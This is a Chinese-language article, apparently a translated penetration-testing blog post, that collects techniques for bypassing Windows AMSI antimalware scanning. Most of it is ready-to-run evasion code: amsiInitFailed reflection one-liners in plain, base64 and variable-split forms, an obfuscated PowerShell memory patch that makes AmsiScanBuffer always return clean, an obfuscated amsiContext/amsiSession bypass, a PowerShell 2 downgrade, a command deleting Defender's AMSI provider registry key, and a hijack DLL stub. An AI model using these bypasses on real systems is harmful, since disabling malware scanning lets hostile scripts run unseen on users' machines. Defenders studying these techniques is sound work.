微软开发了 AMSI
(反恶意软件扫描接口)作为一种方法来抵御常见的恶意软件执行并保护最终用户。默认情况下,windows defender
与 1 交互,在执行期间使用 Windows Script Host
技术扫描 PowerShell
脚本、VBA
宏、JavaScript
和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI
的支持,因此组织不限于使用 Windows Defender
。
当用户执行脚本或启动 PowerShell
时,AMSI.dll
被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API
来扫描缓冲区和字符串以查找恶意软件的迹象。
如果识别出已知特征,则不会启动执行,并且会出现一条消息,表明该脚本已被防病毒软件阻止。下图说明了 AMSI
扫描的过程。
微软使用 AMSI
作为阻止执行恶意软件的第一道防线, 许多绕过手段已被公开披露。由于扫描是基于特征, 红队和黑客可以通过执行各种手段来绕过 AMSI
。尽管某些处于原始状态的技术已被阻止,但各种字符串变种和变量、编码和混淆甚至可以让最古老的绕过手段枯木逢春。
尽管微软已弃用 Windows PowerShell 2.0
,但它并未从操作系统中删除。旧版本的 PowerShell
不包含 AMSI
保护等安全控制,可用作一种逃避形式。将 PowerShell
版本降级到旧版本很简单,需要执行以下命令:
powershell -version 2
Fabian Mosch
使用Matt Graeber
的旧 AMSI
绕过方法来证明,如果对触发 AMSI
的字符串(AmsiUtils
和 amsiInitFailed
)使用 base64
编码并在运行时解码,则可以用作规避微软特征的方法。此技术通过设置“amsiInitFailed
”标志来阻止当前进程的 AMSI 扫描功能。
原始 AMSI
绕过
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Base64编码
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Tom Carver 以 DLL
文件的形式创建了一个POC
,该文件通过挂钩AmsiScanBuffer
函数来规避 AMSI
。AmsiScanBuffer
使用假参数执行。DLL
需要注入到要绕过AMSI
的 PowerShell
进程中。
.\SimpleInjector.exe powershell.exe .\AmsiHook.dll
Daniel Duggan发布了一个AMSI绕过手段,它修补了 AmsiScanBuffer()
函数,让它始终返回AMSI_RESULT_CLEAN,这表明没有发现威胁。补丁显示在以下行中:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
该绕过已在 C#
和 PowerShell
中发布。可以使用以下命令加载和执行 DLL:
[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()
默认情况下,PowerShell
版本会被标记。AMSITrigger
可用于通过调用AmsiScanBuffer
来发现由 AMSI
标记的字符串。以下几行已被识别,需要进行混淆处理。
.\AmsiTrigger_x64.exe -i .\ASBBypass.ps1
混淆 PowerShell
脚本中的代码绕过 AMSI
并执行内存补丁。
${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)
内存补丁技术的一种略有不同的方法是使用不同的机器语言指令(操作码),以实现AMSI_RESULT_CLEAN
的结果。
.\amsi-opcode.ps1
Paul Laine发布了另一种绕过方法,它修改了内存中AMSI_RESULT
函数的指令,以防止将内容发送到 Windows Defender
或任何其他 AMSI
提供程序。
.\AMSI-Patch.ps1
强制 AMSI
初始化失败 (amsiInitFailed
) 将导致不会为当前进程启动任何扫描。最初这是由Matt Graeber披露的,微软开发了一个特征来防止更广泛的使用。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
使用变量避免直接使用字符串可以用同样的方法规避 AMSI。
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
由于存在amsiInitFailed
标志的特征,因此Adam Chester发现了一种替代方法,该方法试图强制错误以便以合法方式而不是在控制台中设置标志。此绕过为amsiContext
分配内存区域,并且由于amsiSession
设置为 null
将导致错误。由于微软已创建特征,因此在没有任何混淆的情况下使用此绕过将失败。
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);
然而,这个绕过的混淆版本存在于由Melvin Langvik维护的amsi.fail网站中,并且也在下面显示:
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092))[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null)
[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi)
AMSI 提供商负责防病毒产品的扫描过程,并在注册表中的某个位置注册。Windows Defende
r 的 GUID
显示如下:
HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}
删除 AMSI 提供程序的注册表项将禁用 Windows Defender 执行 AMSI 检查和绕过控制的能力。但是,删除注册表项不被视为隐秘方法(如果有足够的监控)并且还需要提升权限。
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
DLL 劫持也可用于从用户空间绕过 AMSI 。唯一的要求是创建一个非法的 amsi.dll
文件并将其放置在与 PowerShell 64
位相同的文件夹中,该文件夹可以复制到用户可写目录。POC
已由 SensePost 发布,并在下面进行了演示。
#include "pch.h"
#include "iostream"
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
LPCWSTR appName = NULL;
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} AMSI_RESULT;
typedef struct HAMSISESSION {
DWORD test;
} HAMSISESSION;
typedef struct r {
DWORD r;
};
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT * amsiContext);
void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION * amsiSession);
void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
void AmsiResultIsMalware(r);
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
void AmsiUninitialize(HAMSICONTEXT amsiContext);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在标准目录之外执行 PowerShell
将加载 amsi.dll
文件,其中包含所有必要的操作功能,但 AMSI
不会启动。
AmsiScanBufferBypass: C#https://github.com/rasta-mouse/AmsiScanBufferBypass
AmsiOpcodeBytes: https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998
AMSI-Bypass: https://gist.github.com/am0nsec/986db36000d82b39c73218facc557628
AMSI-Bypass: https://gist.github.com/am0nsec/854a6662f9df165789c8ed2b556e9597
NoAmci: https://github.com/med0x2e/NoAmci
AmsiHook: https://github.com/tomcarver16/AmsiHook